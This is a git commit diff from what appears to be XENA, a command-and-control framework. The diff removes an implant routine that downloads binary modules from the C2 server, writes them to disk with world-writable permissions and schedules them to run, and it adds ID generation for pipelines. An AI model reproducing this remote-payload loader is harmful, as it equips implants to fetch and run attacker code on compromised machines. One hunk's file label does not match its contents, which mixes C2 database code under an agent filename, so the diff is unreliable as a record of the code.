Merge branch 'production' of https://github.com/zarkones/XENA into production

Author: zarkones

Diff for: agent/file-browser.go

@@ -1,6 +1,3 @@
-//go:build !xena_modular
-// +build !xena_modular
-
 package interpreter
 
 import (
@@ -15,9 +12,7 @@ import (
 	"fmt"
 	"offsec"
 	"os"
-	"path/filepath"
 	"runtime"
-	stdSlices "slices"
 	"strings"
 
 	"github.com/shirou/gopsutil/v3/cpu"
@@ -88,39 +83,6 @@ func Interpret(input string) (output string) {
 		return string(jsonFbCtx)
 	}
 
-	// Handling modules. (dynamically linked libraries)
-	moduleCmd := "/get-module:"
-	if strings.HasPrefix(input, moduleCmd) {
-		input := strings.TrimPrefix(input, moduleCmd)
-		args := strings.Split(input, ";")
-		if len(args) != 2 {
-			return "Command syntax error: unrecognized arguments '" + input + "' for command '" + moduleCmd + "'"
-		}
-		executionMode := strings.ToUpper(args[0])
-		moduleName := strings.ToUpper(args[1])
-		if runtime.GOOS != "windows" && strings.HasSuffix(moduleName, ".DLL") {
-			return "Cannot load .dll on " + runtime.GOOS
-		}
-		moduleBin, err := c2api.AgentDownloadModule(config.AgentID, moduleName, config.PrivateKey)
-		if err != nil {
-			return "Failed to download the module: " + err.Error()
-		}
-		if !stdSlices.Contains([]string{"ON_START", "ON_TICK", "ON_MSG"}, executionMode) {
-			return "Unknown module execution mode '" + executionMode + "'"
-		}
-		modulePath := filepath.Join(MODULE_DIR, hashWithAgentID(moduleName))
-		os.MkdirAll(MODULE_DIR, 0777)
-		if err := os.WriteFile(
-			modulePath,
-			[]byte(moduleBin),
-			0777,
-		); err != nil {
-			return "Failed to write module to file system: " + err.Error()
-		}
-		debug.Println("module '" + moduleName + "' under mode '" + executionMode + "' has been saved at '" + modulePath + "'")
-		return "Module successfully saved"
-	}
-
 	// Navigating File Browser.
 	cdCmd := "/cd:"
 	if strings.HasPrefix(input, cdCmd) {

Diff for: agent/interpreter/non-modular.go renamed to agent/interpreter/interpreter.go

@@ -161,14 +161,5 @@ func initialize() (err error) {
 		return err
 	}
 
-	if interpreter.LoadModules(); err != nil {
-		debug.Println("loading of modules failed:", err)
-	} else {
-		debug.Println("modules loaded:",
-			len(interpreter.Modules[interpreter.MOD_ON_START])+
-				len(interpreter.Modules[interpreter.MOD_ON_TICK])+
-				len(interpreter.Modules[interpreter.MOD_ON_MSG]))
-	}
-
 	return nil
 }

Diff for: agent/interpreter/modular.go

@@ -3,6 +3,8 @@ package pipelinesRepo
 import (
 	"c2/db"
 	"c2/models"
+
+	"github.com/google/uuid"
 )
 
 func Get(pipelineID string) (pipeline models.Pipeline, err error) {
@@ -18,6 +20,9 @@ func GetMultiple() (pipelines []models.Pipeline, err error) {
 }
 
 func Upsert(pipeline *models.Pipeline) (err error) {
+	if len(pipeline.ID) == 0 {
+		pipeline.ID = uuid.NewString()
+	}
 	return db.ORM.Save(&pipeline).Error
 }